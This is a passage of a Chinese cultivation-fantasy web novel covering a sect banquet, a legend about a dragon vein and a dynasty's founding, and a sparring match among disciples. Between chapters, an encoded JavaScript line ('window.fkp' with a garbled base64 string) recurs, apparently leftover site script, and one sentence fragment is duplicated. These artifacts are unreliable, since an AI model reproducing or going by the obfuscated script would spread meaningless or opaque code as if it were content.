李谊闻言,叫屈道:“师姐,话可不能这样说,师妹从小被师姐你照顾长大,怎么能怪罪到我们身上呢。” 清素一只手把兔子从清霓夺过来,拎着兔子耳朵将之扔的远远的,听见李谊这样说,一眼瞪了过去:“李清寿,你这是说我误人子弟,教坏了师妹吗?”声音一如往昔的温和缓慢。 李谊闻言,立刻赔罪道:“恕罪、恕罪,小弟不会说话,我的意思是,在师姐的教导下,师妹才能保持这般的赤子心性,可见师姐的心性高洁……” “这还差不多,这次就放过你。” 李谊苦笑道:“多谢师姐宽宏大量,师姐……” 几人说笑间,一鹤发童颜的道人笑呵呵的走了进来:“诸位就等,我来迟了,抱歉。” 看见道人,赵尘等七人立刻起身恭敬道:“见过师叔。” 待几人坐定,长老一挥衣袖,一排白鸽叼着竹篮飞了进来,依次将竹篮放下,便化光消失。紧接着,一点灵光在几张小案前浮现,随后在虚空中勾勒出一只一尺来高的灵猴,灵猴眼神灵动,生动活泼,毛发也丝丝分明。待灵猴将竹篮中的小碟一一捧上小案后,也化光消失。 李谊没有对赵尘解说眼前的法术,而是对小案中的食物介绍了起来。 “这养气境界,讲究一个至真至纯、唯精唯微,要保持体内的内息、法力的纯净。不要说寻常灵药、灵果,连低年份普通草药都不敢吃,就连这天地灵气都不敢多吸,三五天做一次功课。朝阳紫气更是不敢多吐纳,最少相隔一个月,才敢采一次朝阳紫气。” “师兄所言甚是。”赵尘想着自己每次子午两次功课,每五日左右采一次紫气,便是数倍于普通人的法力积累,也只用了两年时间。心中不禁暗自喜道:“所以说便是不论强健的道体以后带来的好处,我这六年的苦工也不算白费嘛,” 师叔笑着看了眼赵尘,也没说什么。 李谊没有看出赵尘的想法,接着说道:“但这宴会上的吃食却不同,这世上有一些顶级灵材,虽用处较窄,但价值却接近仙品。这些灵物,都是由天地间的至清元气所化,极其轻灵,近乎不染凡俗。” “这些灵物吃入腹内,便会重新化作轻灵元气,这些元气又会立刻一点不剩的从身体中散发出去,并会带出身体中的杂质,回归天地中。所以服食这些灵物,不但不会妨碍修行,还能纯净身体、元气、内息、法力等。” “而这些灵物之上,更有一些不但有此功效,还可以在养气期服用,滋养人体,增益修行的宝物,那就真是价比仙药了,且年份都以万年做单位,可谓举世难寻。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第十一章 稀释仙珍 “比如说这太阴月华菌,每万年长一寸,食之可洗涤魂魄。”李谊指着案上一玉盘,盘中盛放着数百根丝状菌类,每一根皆宛若白玉,三寸长,发丝粗。 随后,李谊又指着一盘青果:“这紫青神霄果,其长于神霄紫雷树,一树一果,一果一种,十分罕见。一粒树种种下,发芽抽枝三千年后开花,花开三千年后结果,结果三千年后成熟,成熟后果如青玉,生机无限,妙用非常。” “果熟一千年后表面形成一圈紫色纹路,至此方才成为养气境可服用的仙珍,可滋养强壮筋骨。此后每一万年,果子表面多一圈紫纹。这盘紫青神霄果皆有三圈紫纹,所以皆是三万年的仙珍。” “还有这两样,我虽认不出来,但上次宴会上也有,这玉液可以滋补元气。这茶水味道极其苦涩,但可以打磨性光” “这案上的吃食,便以这四样最为珍贵,但剩下的也是那些接近仙品的灵物。” 赵尘一边听着李谊的话,一边翻找着脑海中的记录,和案上的实物对比着,暗自惊叹于玄天宗的财大气粗。便拿着茶水举例,若是清昃能够每三个月服上一盏,一连服上九盏,按书上所说,不要说成就金丹了,便是纵横人间千载,俯览王朝生灭都没问题。 随着李谊的话音落下,长老看了过来:“这茶,天辰山脉每六百年收一次,这一次是去年早春收的,收成还行,大约有冲泡十六杯的量。若是能三月一饮,吃上九盏,便是再下愚之辈,也能修成金丹。但是通过这种方法才能修成金丹之辈,若无天大的机缘,绝大多数情况下也就是止步于第四阶,在人间虚度三千载时光罢了。” 等盘子都摆好,长老轻轻点了点石案,将大家的目光都吸引过去:“诸位,这一年一次的云台山会算是真是开始了,我先敬大家一杯,祝愿大家仙道可期,长生有望。” 众人皆举杯回敬了老道人一杯,放下杯子后,长老敲了敲案面:“按照老习惯,我先再啰嗦几句关于养气境的修行大概。” “但在这之前,小十七第一次参加聚会,我便先简单的做一个自我介绍吧!另外呢,小十七,这是你第一次参加聚会,虽然这不是我第一次和师侄见面,甚至每三两月都会看见一次,但见面礼还是不能少的。师侄,这是给你的见面礼。” 说着,便把一玉盒抛给赵尘,待赵尘起身道谢之后:“清微,老头子我二十七岁上山,至今已有六百四十三年了。于数年前踏进炼虚合道境界,已当的起一声天师之称了。嗯,这一点他们几个之前也不知道。” 众人闻言,都恭喜长老。长老摇着手,说:“没什么好恭喜的,不过是日出露稀,风吹叶落,顺其自然,水到渠成的事情罢了。” 据赵尘从书中所知,这人间修行,分为四阶:第一阶便是从培元到金丹,第二阶叫真人,第三阶叫真君,第四阶便是天人,亦或称为天师,再往上便是仙人了。第一阶的修行赵尘还算有所了解,至于再往上,也就只知道个称呼了。 随后,长老将话转了回来:“要说养气境,就离不开培元境,虽然俗世当中许多人将一个简简单单的培元境,分成了两三个,甚至三五个小境界。但实际上,于我等而言,只要按部就班的慢慢来便可以了。” “当然了,诸位能来参加这个聚会,培元境便已经是过去了。正如俗世当中划分培元境一样,也有许多人将一个简简单单的养气境分成了少说三五个,多的能有十几个的小境界。但于我等来说,养气境也是一个按部就班的过程。” “首先用特定法门,按照精满则溢的方式,近乎自然的养出一缕缕至精至纯的内息,然后以气养神,同时明心见性,返照自身,按照法门化开心海,点燃灵台心灯,这心灯,又称心光、性光。之后便是将后续养出的内息一分为二,一部分继续以气养神,另一部分将内息用心灯灼烧,用法门将之炼化成法力。” “最后待到神完气足,心性圆满,趁着冥冥之中的时机,完成养气进金丹的过程,”说着,长老又看着七师兄:“七小子,你这是快结丹了吧。” “没错,师叔,快的话明年,慢的话后年,上山二十六年,终于要成了。”七师兄一反先前因长期和偏冥土的东西打交道而略显沉重的神态,语气都略有些急促。 大家听见长老和七师兄的话,都一脸惊喜的看着七师兄,向其道喜。听的七师兄感觉全身都轻了几斤。 长老面带笑意的看着七师兄,又若无其事的转过头,看着赵尘:“小十七也不错,结丹就在眼前了吧。”说着还深以为然的点了点头。 赵尘无奈的答道:“禀师叔,我打算等这次云台山会结束后,回去后便做结丹的准备,大概两三个月吧,具体看天意。” 七师兄听见长老和赵尘的对话,嘴角也不禁抽了抽,几十岁的人了,却一脸怨念的看着长老:“师叔……” 几人看见七师兄的表情,尽皆面露笑意。玩笑过后,众人皆既欣喜又惊叹的看着赵尘。都说又一个像清玉师弟一般的天才出现了。 个像清玉师弟一般的天才出现了。 赵尘苦笑道:“我哪里能和十五师兄比。十五师兄一年培元,三年养气,两年前听首座师叔说什么清玉师兄走金丹法,五年便一转圆满,随后不到一年便又金丹二转,也不知是何等境界。” “而我呢?三年培元,两年养气,即便将结丹,也不过是培元境有点儿积累而已。后面的路还不知道怎么走呢。”赵尘摇头叹息道。 “你这可不是有点儿积累而已啊,”长老有些好气的笑了笑。 随着话题从赵尘身上离开,几人天南海北的聊了起来,从风土人情到到山河表里,从人物传奇到诗词曲赋,从人间山川到天宫阴司。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第十二章 点龙 赵尘见李谊和每一个人都能聊的热火朝天,不禁惊诧李谊的阅读量。而且李谊一定有天生的过目不忘的本事,毕竟李谊没有赵尘这种将大量资料随身携带,随时查询的能力。 虽然只要灵台彻照、心性圆满、性光化作明月,便能后天形成初步的过目不忘的本事。但先不说记住了和理解了这又是两件事,而且据赵尘判断,李谊离性光化作明月还有一点距离。 一番胡侃之后,十二师兄说的兴起,将衣袖一拉,一捶石案:“今天赵师弟第一次来,我便把一个压箱底的故事说来给大家听听。” 清霓一听,高兴道:“好啊,我最喜欢听故事了。” 十二师兄端起酒杯,微抿了一口:“我出身于苍变部洲,抿西道,赫州,兴天府,所在皇朝国主姓陈。我家乡正是那陈氏太祖的龙兴之地,当地便流传着陈氏太祖的传说。虽然官府极力打压,但这种民间故事,你越是禁止,流传的反而越兴盛……” 这天下遂分为二十四部洲,每部洲又分成若干州,少则三十有余,多则数以百计。皆依龙脉划分。其龙脉都有在朝代末年孕育出一位潜龙的可能。 这能合一州者,可祭天登基,建一方王朝。能聚九州者,可祭天登基,立一方皇朝,若能一统整座部洲者,便可开辟一方帝朝。 而有些大的皇朝或者帝朝,觉得自家州太多太杂乱,便把几个州合并成道。如抿西道,便是抿山山脉西部的几个州合并而成。 故事发生在前朝末年,当时的赫州还是李氏皇朝的东疆。 一天傍晚。 一小童在村后玩耍,忽见远处田间出现一老一少两道士。 小童好奇之下躲在一处水沟中的草丛里,悄悄看去,老道站在田间看了看:“这真是一块风水宝地。” 小道士也深以为然,老道左看又看,从袖中掏出一块罗盘,一番掐算之后,用脚跺了跺,又说道:“这龙脉便应在此处了。” 这小道士却不同意了:“这不可能,赫州的地脉龙气尚未恢复,怎么可能有龙脉显化?” 一番争论不休之后,老道摸出一枚鸡蛋:“你若不信,我们可以打个赌。” “你看,我在此地施法,你将这鸡蛋埋进地中,你我明天早晨再来,若有龙脉,鸡蛋便会孵出小鸡,反之,则是不会孵出小鸡。如何?” 小道士接过鸡蛋,看了看,待老道施法之后,将鸡蛋埋入地里。约定明天再来,便相继离开了。 小童虽然听不懂这两个人到底在说什么,但回家后还是将这奇事说给家里人听。 第二天一早,天还没有亮。小童的爷爷就拉着小童到两道士埋鸡蛋处,挖开一看。果然。鸡蛋已经孵出了小鸡。老头将小鸡和蛋壳取出,换成自己带来的鸡蛋。打扫痕迹,将小童留在远处玩,交代几句,便回家去了。 直到天亮之前,两个道人看见没有孵出小鸡的鸡蛋,也没有受什么,便各自散去。 这块地虽然是龙脉,但却是邻居家的。老头愁了好久,终于想了一个办法。 一天,老头喝了点酒,醉醺醺的将自家的牛赶进邻居家的地中,牛吃掉了地中的麦子,被正巧来田中除草的邻居看见。 这下可好,两人立马就争执了起来。 邻居被老头蛮不讲理的样子起了半死,可老头又一副颤颤巍巍,好似一阵风就能刮走的样子。 怒极的邻居猛地把肩上锄头往前面地上一扔,可正巧老头在旁边也一踉跄,提前摔在了锄头下面。被当场砸死。 见出了人命,周围看热闹的连忙把邻居拉住,不让走了,并把老头的儿子喊了过来。 两家人经过一番激烈的争执和商量后,在村中其他人的调解下,认为两人皆有过错,约定把这块地赔给老头做坟地,这件事便这样私了了。如此,这块龙脉宝地便归了老头家。 这家人得到这块风水宝地之后也没有其它事情发生,时日一久,这件事就慢慢的被抛之脑后了。 转眼几十年过去,当年的小童如今也垂垂老矣。 有一次,老头梦中梦到一金甲神人,说他家的龙脉如果自然的勃发,还需要数百年,而李氏皇朝只有数十年的天命了,时间不够。为今之计,只有依次祭拜天宫地府诸神,请天帝派龙神贯穿龙脉。 老头把这件事和当年那件事一起告诉给全家人,家人虽将信将疑,但还是按吩咐,依次祭拜诸神。不巧的是,老头家人将诸神祭拜了个遍,但偏偏忘记了本村土地。 旁人虽不知道,村土地却清楚这龙脉的来历,再加上这家人遍祭诸神,却唯独少了他。土地一时无名火起,心道:“这分明是看不起他,若不给他家个报应,怎显他的灵验。” 在老头一家按照金甲神人的要求举行大祭之后,天帝便招来一位龙君,细细吩咐道:“你需在几日之后的日落时分为赫州兴天府,某郡某县,某乡某集,某圩某村的一户陈姓家贯穿龙脉。从某处开始,到某地结束,具体的行进路线如何,具体到一个地方的规格如何,有哪些特殊的要求等等。” 随后又特别强调,虽然工作量很大,但必须在日出前完成,回天宫交旨。 那一日,龙君奉旨贯穿他家龙脉,使龙气提前数百年勃发。眼看就要完成时,村土地让公鸡提前数个呼吸打鸣。龙君以为天已经亮了,无奈之下,只能返回天宫交旨。刚回地面,才发现被骗,这一耽误,太阳真的出来了。 又过了数十年,当年的小童早已死去,小童的小童也已经老了。 村中来了一个道士,给村中人算命,无不灵验。待一老头带着孙子来算命时,道士摇头不言。等到没人时,道人到老头家,指着老头的孙子说:“此子将来贵不可言。”又留下六张符篆,做了些交代,便化作一阵青烟消失不见。惊得老头一家都跪下高呼神仙,同时也想起了祖传的那个故事。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第十三章 功满行圆,了尽因果 之后,老头依照道人所言,把第一张符在他爷爷的爷爷坟头点燃,只感觉大地微微震动。 当夜。李氏皇朝的皇帝便梦见落日余晖之时,一轮红日又从东部升起。皇帝招来钦天监询问,钦天监说这梦印证东边有反贼窥视天命。 听见钦天监这么说,皇帝便命人带大军去东边巡视。 老人听见果真如道人所言,县里来了大军,便放一碗水在灶台上,取出第二张符篆浸入水中。 按照随军的道人推算,将军带大军到村外,却看见眼前的一片湖泊,对身边的道士说:“道长,确定是这里?” 道士看着湖泊:“月前,赫州龙脉震动、显化。我依着痕迹寻来,县里不是说这儿有一村落吗,大家沿着湖搜寻一番,找位村民问一下。如果没有,便继续往东找。” 这是,一亲兵指着湖中说:“将军,看。” 将军抬眼一看,湖心有一五六岁男童,或沉或浮,好像在溺水。立刻怒斥道:“这孩子溺水了,还不把这孩子救上来。” 几个军士把男孩救上来,将军问道:“孩子,你家住哪里,怎么掉湖里去了?” 孩子却说自己刚才是在村口玩耍。将军听了,诧异的看着道士。 道士想了想,对其好一番哄骗之后,拿出一罗盘给孩子,又掏出一些符纸、玉牌之类的交给孩子:“孩子,我有一这样的东西丢在你们村了,你跟着这罗盘的指针帮我找到拿来好吗?” 就这样,男孩跟着罗盘回到家中,看见自家灶台上,碗中的符篆。伸手把碗打翻,把符篆捡了起来。 将军和道士站在湖边眺望:“道长,是这里吗?” “应该不会错了,这……”正说着话,眼前的湖泊忽然消失了,见此,道士不禁赞叹道:“前辈好高明的法术,之前这湖的水脉和这周围的水脉、地脉联通,绝非幻术。” 将军脸色一变,指着眼前的村庄说:“围起来,杀,寸草不留。” 在男孩把碗打翻时,碗摔碎的声音被老头听见,老头进来一看,脸色一变,又听见村外传来的喊杀声。二话不说,抱起孙子坐在家中的竹椅上,掏出第三张符篆,贴在竹椅上。竹椅瞬间变成一架马车,载着祖孙俩在大军合围前从村尾冲了出去。 老头在马车上听见后面隐约有马蹄声传来,从里衣上撕下一条白布,裹住第四张符篆,往后扔去,但力气太小,白布在空中被风一吹,在老头焦急的目光中,缓缓的飘落在马车前,转眼化成一条大江,拦住了马车。 老头停下马车,一脸绝望的看这眼前的大江,深深的叹了口气:“唉矣……天意啊。” 同时把孙子抱下车,和孙子交代几句,将第五张符篆贴在孙子身上。架起马车,沿着大江往远处跑去,待被大军包围时,拿出第六张符篆,往身上一贴,马车顿时变成一座大火球,把一切烧成了灰。 一番搜寻之后,将军只带能着一堆灰回去交差。 而这男孩,后来拜在一奇人门下,学习兵法韬略,长大后起义,建立了陈氏皇朝。 随着十二师兄把酒杯轻轻放在小案上,口中的故事也随之结束。 九师兄看着十二师兄:“听着有些有些牵强和刻意。” 赵尘也好奇的问道:“师兄,这事有多少是真的?” 十二师兄苦笑道:“民间传说不都是这样,传来传去,到最后谁也不清楚有多少是真的。” 清霓侧过身子,两眼睁大的看着长老:“师叔,您知道吗?” 大家闻言,也都看向长老。 长老看了圈大家,闭着眼,用手轻轻的敲着案面,想了一会儿,点头道:“应该是真的。” “为什么呢?”清霓脱口而出,说完之后,才发现有些不当,低下头,微吐了下舌头,抬头向长老道歉。 长老笑着摇了摇头,开口道:“我要没猜错,这陈朝应该是百余年前建立的吧。” “师叔明见。”十二师兄点头道。 长老道:“百多年前,苍天门下,一位前辈苦修千余载,终于成仙。这位前辈便出身苍变部洲,据说为求人间功满,还尽因果,付出了极大的代价,没想到竟然是这样。” “师叔,人间功满,还尽因果是什么意思?”赵尘开口道。其他人也看着长老,等着解释。 长老道:“当人间路走到尽头后,成仙还需要两点。”说着,长老捧起茶杯,抿了一口。 “一是,要在人间积累功德,要求功行圆满。二是,要了结累世的因果,当然,也不是还尽所有的恩情、因果,这也不可能。具体的,要看你和别人的因果大小,你所修的功法,你身上的功德等等。所以你等在人间历练时要注意,再多的你们以后自然会知道。” 赵尘听的若有所思,又看着长老:“师叔,那这件事具体又是怎么操作的呢?” 长老看了下赵尘,说道:“这位前辈,应该是和陈氏一脉有大因果,和这陈氏太祖本人亦有因果。” “他先是让陈家意外偷听到龙脉所在,因为不是直接对陈家指出龙脉所在,和龙脉所结因果便不算太大。” “之后又通过所谓的神人告诉陈家让龙脉提前勃发的方法,之后陈家所做所为皆是陈家和天宫的因果。可这龙脉本不是陈家的,自然受到气运反噬,陈家忘记祭拜土地,致使计划失败。” “不过这也在那位前辈预料之中,前辈第一张符篆点活龙脉,了结和龙脉之间的因果,之后陈氏建立皇朝,不但彻底和赫州龙脉恩怨两清,还收获了不少功德。之后几张符篆助陈氏皇朝的老祖脱险,还尽和其的因果。最后,陈氏建立皇朝,了结了和陈氏的因果。” “那这位前辈又付出了什么代价呢?”十二师兄疑惑道。 长老道:“人间争龙,极其凶险。如果不是苍天宗支持,那位前辈怎么可能提前百多年进行布置,其次连仙人都不是,即使是天宗出身,让天宫出手干预龙脉,所要付出的代价绝不少。还有让陈氏太祖在恰当的时机转世到陈家,所要花费的代价就更大了。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第十四章 紫玉石台 “这也是这位前辈手段巧妙之处,如果当初龙脉被贯通,想要把陈氏老祖安排进陈家,成为一位有望建立皇朝的潜龙,几乎不可能。” “如果当时手段差了些,直接点活了龙脉,不但极有可能卷入人间争龙,即使成功,也要脱层皮。而且,万一积累的龙气不够,陈氏争龙失败,一切布置成空,怕是要万劫不复。” “而这样绕了几圈,便是中间真的出了差错,其也有一点回转的余地。天人三千寿数,以其当时一千多岁的年纪,只要有回转的余地,便还有重头再来的机会。” “以往便有这样的例子,有些前辈,仗着出身七天门下,行事粗陋,等成仙之时,这累下的因果是数也数不完,理也理不清。最后只能掀起一场比如人间争龙这样的大事,将所有熟不完,理不清的因果都卷进去,一次性处理掉。而这些前辈中,绝大多数最后都玩砸了,落得一个万劫不复的下场。” “而像这位苍天门下的前辈那样,掀起并跳入争龙的漩涡之中,并成功跳出来的才是绝少数。” 其他人都听的惊叹连连,赵尘却骤然警惕了起来,十二师兄的故事中,那位苍天门下的前辈,其所做的事情好像很简单,在陈氏皇朝的建立的过程中,好像只是作为背景,间接的出现了几次。但按照师叔的说法,这只是大概的主线罢了,而由此延伸出去的支线、细节,也不知这位前辈在幕后做了多少事。 这些活了一千多岁的,都把气运、因果玩的这么熟练,那些活的更久的,怕是那一天被坑死都不知道,这也更坚定了赵尘的向道之心。 听完长老的解释,几位师兄、师姐几人也讲了些传说志异,长老也对其中一些关窍进行了细致的剖析,做出了详细的解释。赵尘等人都自觉大有收获,之后几人又谈论了些经文典籍,玄功妙法等等,还浅浅的谈了些诗词文章。不知不觉间这场宴会一直持续了三天。 直到第四天巳时末,长老看了眼窗外,开口道:“快午时了,宴会就这样结束吧,转眼三天多了,诸位先回去,好好休息,后日酉时,我们山顶再见。” 几人闻言,都起身向长老告辞离去。 赵尘回到院中,坐在椅子上,回想起三天来的点点滴滴,结合着长老的解说,体会着故事中的神通、术法、人心、鬼神等。直到半个多时辰后,深深的吐了口气。 稍休息了会儿,想着自己已有三天没有练功,虽然养气境差不多已经修尽了,如今不过是近乎无用的打磨一下法力,维持状态罢了,但赵尘还是稍稍舒展了身体,便回房中调息去了。 …… 第三天。十月十五。 赵尘早早的便和李谊一起来到山顶,看着眼前数百丈宽的巨大平台:“师兄,这演法具体是个什么过程?” “这却是不一定,每次都稍有差别,有时是独自一人,在台上演练法术,由师叔进行解说、点评。有时便是双方互相比试,以此来演示法术。” “双方,每一方几人?” “大多是一对一比试,也有很少是所有人一起,分成两方……” 赵尘一边和李谊交谈,一边观察着山顶,放眼看去,山顶是一片七百丈直径的不规则圆形平台,周围砌着一圈雕玉栏杆,平台中间是一三尺高,一百丈半径的紫黑玉石台。 李谊指着石台:“这座石台亦是门中前辈炼制的一件法宝,专做比试之用。” 李谊伸手对着石台,将法力运至掌心,一搓一握之间,丝丝电光闪烁。 “轰” 一道闪电劈在石台上,炸出一拳头大的石坑,碎石乱飞,约一个呼吸后,碎石消失不见,石坑恢复原状。 “这石台和云台山地脉勾连,单目前来说,极其容易被法力破坏,如之前的雷电,若劈在寻常的石块之上,最多只是一片焦黑,而这却直接劈出一拳头大小的石坑。但是你若是单纯的刀劈剑砍,这石台却又坚不可摧。” “其次,无论你怎么破坏,这石台很快又会恢复原状。且破坏的越大,恢复的越快。我便曾见到师叔拂袖间便将这石台扇成漫天石粉,却又在转眼间恢复原状。” “但若是被师叔催动,就又是一种气象,百丈大小立刻便会化作一片无垠大地,据说可以支持仙人交手。” 正在李谊与赵尘解释石台的时候,其他几位师兄、师姐都到了。见李谊和赵尘讲解石台的神奇,都站在一旁,静静的听着,待两人说完,才过来打招呼。 “见过师叔。” 几人说话间,便忽然发现长老已站在石台边上。 见赵尘七人都看了过来,几句寒暄之后,长老道:“诸位,这次演法,你们先分成两对,上场比试一番吧。” 闻言,几人皆轻声对赵尘说着待会儿上台要注意的事项,并言会对赵尘进行照顾。单论境界,赵尘虽然比他们要高一点,但终究在一个境界之内,除清霓外,十几二十年的打熬,在他们看来,还是可以追评这一点差距的,甚至还应该略有优势才对。 长老听见几人的话,嘴角露出微微笑意道:“这次,清微一组,你六人一组。” 众人闻言皆哗然,十一师姐不由担忧道:“怎么可以,小师弟他……” “怎么不可以?以养气境来说,清微的法力之多,都有一点骇人听闻。单论法力,你们六人加一起,都不到清微一半多,足够他以力压人了。” “只要技巧不太差,耗都能把你们耗赢。如果清微……这次正好磨炼一下技巧。” 听了长老的话,几人一脸的不可思议,那表情,就和在唯物世界遭遇灵异事件一样。李谊看着赵尘说:“师弟,你藏的可真深。” 赵尘不好意思的笑了笑,腼腆中带着几分憨厚:“也不算什么,只是自小身体比较壮,资质又有点愚,培元境多待了会儿,有点积累,所以养气时法力便稍多了些。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第十五章 演法(上) 听赵尘这明显糊弄鬼的话,长老抽了抽嘴角,挥了挥衣袖,什么话都没说。 其他六人也立刻有一种狠狠削赵尘一顿的冲动。所以见长老示意,连忙把赵尘拖上了台。 六人两两相对,相隔百丈,站成一圈,将赵尘围在中心。一脸的跃跃欲试,磨拳擦掌的盯着赵尘,大有只待长老一声令下,便把赵尘揍趴在台上的架势。 赵尘苦笑的摸了摸鼻子,在赵尘摸鼻子的一刹那,一声“开始”从台下传来。 这中低阶修士之间的斗法,一看身手矫健,二看法术繁多,三看法器精妙。 “开始”声传来的同时,李谊突然从双手间捧出一轮金色光球,猛地一把捏碎,整座石台便被耀眼的金光罩住。随后双手伸在身前,虚捧着一团雷光,正缓缓从小变大。手臂挥舞间,一道道火焰被李谊用衣袖扇出。 同时,七师兄一只手指推开一拇指大的木盒,往外一洒,一阵黄沙向赵尘卷去。 九师兄抽出一把短剑。右手持剑,左手掐着指决,往剑身上一抹,短剑发出莹莹青光,用力往前一掷,朝赵尘射去。 清素从虚空中抓出一把丝线,双手一搓,变成一张网,向赵尘抛去。同时摇曳,宛如雨打荷叶,一道道丝线,混着大把的符纸从清素袖中飞出,和之前临时将灵气抽成的丝不同,从清素袖中飞出的丝线是其专门炼制的法器,不但无色透明,而且炙热、锋锐。 清霓笑嘻嘻的将一颗珠子朝天上一扔,变成一只展翅有三尺长的火鸟,向赵尘飞去。 十二师兄一跺脚,整座石台都晃了三晃,同时掏出一把草籽朝赵尘甩去。又不断调和周围气机,试图将众人的攻击拼凑成一个整体。 赵尘忽然听见长老的“开始”声,手一僵,眼睛飞快的往周围一扫,便见眼前金光炸裂,眼前一片金白,眼睛生疼,不辨东西。而养气境的修士,还没有神识可以用来代替五感。 赵尘心思飞转,几人之中,七师兄境界最高,但正如几人所想的那样,这养气境之内,一般情况下,这差距并不大。而剩下几人中,清霓应该最弱,十二师兄更多造诣都在风水之上,在这擂台比武之中应该发挥不出多少威力。 清素师姐和李谊师兄擅长什么还不清楚,或者请素师姐擅长制符,李谊师兄擅长炼器,符篆砸人还好说,用低阶法器砸人,应该不至于吧。所以说,就目前来看,九师兄作为剑修,明面上威胁最大。 战斗经验并不丰富,也没有那种种天生的战斗天赋和才情,赵尘只能作出这样的大致判断,也不知道究竟对不对,心思电转间,连忙脚尖一点,朝记忆中九师兄的方向冲去。 正冲着,赵尘忽感觉一股肃杀之气扑面而来,连忙向旁边避去。谁知地面忽然一阵晃动,赵尘一脚踏空,迎面向那股肃杀之气栽去。 “这是十二师兄撼动了地脉。”想起李谊对于这座紫黑玉石台的描述,立刻判断道。 九师兄只看见赵尘身影一闪,出现在距自己不到二十丈的地方,不由骇然道:“好快。”话还未出口,便眼看赵尘就要和自己的剑撞在一起,心中不由一紧,想到师叔,随之又放下心来。 立刻收回心思的赵尘,凭借愈发敏锐的灵觉,鼓动气血,并用法力包裹右手,在面前不到两寸处一拨,食指朝靠近剑尖处的剑脊一点,把飞剑磕飞。 见此,九师兄手掐剑指,手指一转,飞剑又转过头向赵尘飞去,赵尘依旧伸手点去,快要点到飞剑时,剑身微抖,变成了一条青金色的小蛇,两尺多长,向赵尘手腕咬去。 正在此时,眼睛疼痛稍有缓解,可以勉强视物的赵尘模糊着看见这突然间的变化,差点一口老血喷出:“说好的剑仙呢,说好的飞剑呢,这条蛇是怎么回事啊。” 在小蛇将要咬中赵尘手腕时,一团雷光在赵尘手腕上炸开,连同鼓动的气血和迸发的劲力,把小蛇弹开一瞬。趁着这一瞬间,赵尘一把掐住小蛇的七寸,手指用力一捏,手腕一抖,震散上面的法力,转眼小蛇又变回了短剑,被赵尘捏住剑脊,一把捏碎。 从赵尘被金光晃眼到用手捏碎短剑不到半个呼吸,但就这点时间其他几人的攻击也到了。一大团的飞沙走石朝着赵尘当头灌下。而且风助火势,飞沙之中还夹杂着一片片的火焰。 好在现在金光已经过去,赵尘的眼睛也已经恢复,赵尘两指夹着一片剑刃碎片,伸手一抹,往空中连斩数记,从飞沙斩开一条缝隙,从中冲了出来,又将朝自己迎面罩来的大网切碎。 斩开灵气网兜之后,赵尘面对的便是漫天的符篆和夹杂在其中,隐约可见的丝线。这符纸还好,赵尘回手强行摄来一团飞沙和火焰,衣袖一卷,三下五除二便被清理一空。但那丝线却有些棘手,锋锐、炙热的丝线使赵尘根本无法用手捉住或拨开。 情急之下,赵尘将那些被九师兄反复祭炼过的碎片摄来,以此为核心,将那些丝线全部缠在上面,又一把将这些碎片排入玉石台内。玉石台转眼就恢复,将清素的丝线法器暂时封在其中。 正在此时,十二师兄的草籽落到地上,飞快的生根发芽,好像藤蔓一样坚韧、细长,朝赵尘扑去。转眼已经延伸到赵尘面前。 不但如此,一道道莫名的气机在一株株藤蔓间流转,隐隐形成了一个简陋的阵势。 在被藤草缠住前,赵尘往上一跃,又从怀中掏出厚厚一叠黄符,以一手摘叶飞花的手法朝五人飞去。同时一道道火焰剑气斩落在藤蔓上。脚下的藤蔓被一把火烧光。 待赵尘落地后,二话不说,将一枚碎片变作一根避雷针往身后抛去,同时趁着藤蔓再次卷来前,向九师兄方向窜去。正向赵尘袭来的雷团被避雷针引偏,劈在朝赵尘卷来的沙尘上,将沙尘阻住。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第十六章 演法(下) 从赵尘捏住飞剑到窜到九师兄身前,整个过程如兔起鹘落,转瞬即逝。 在赵尘将短剑捏碎时,九师兄心神一个恍惚,待其清醒过来时,只看见赵尘身形一闪,离自己已不到三步远。 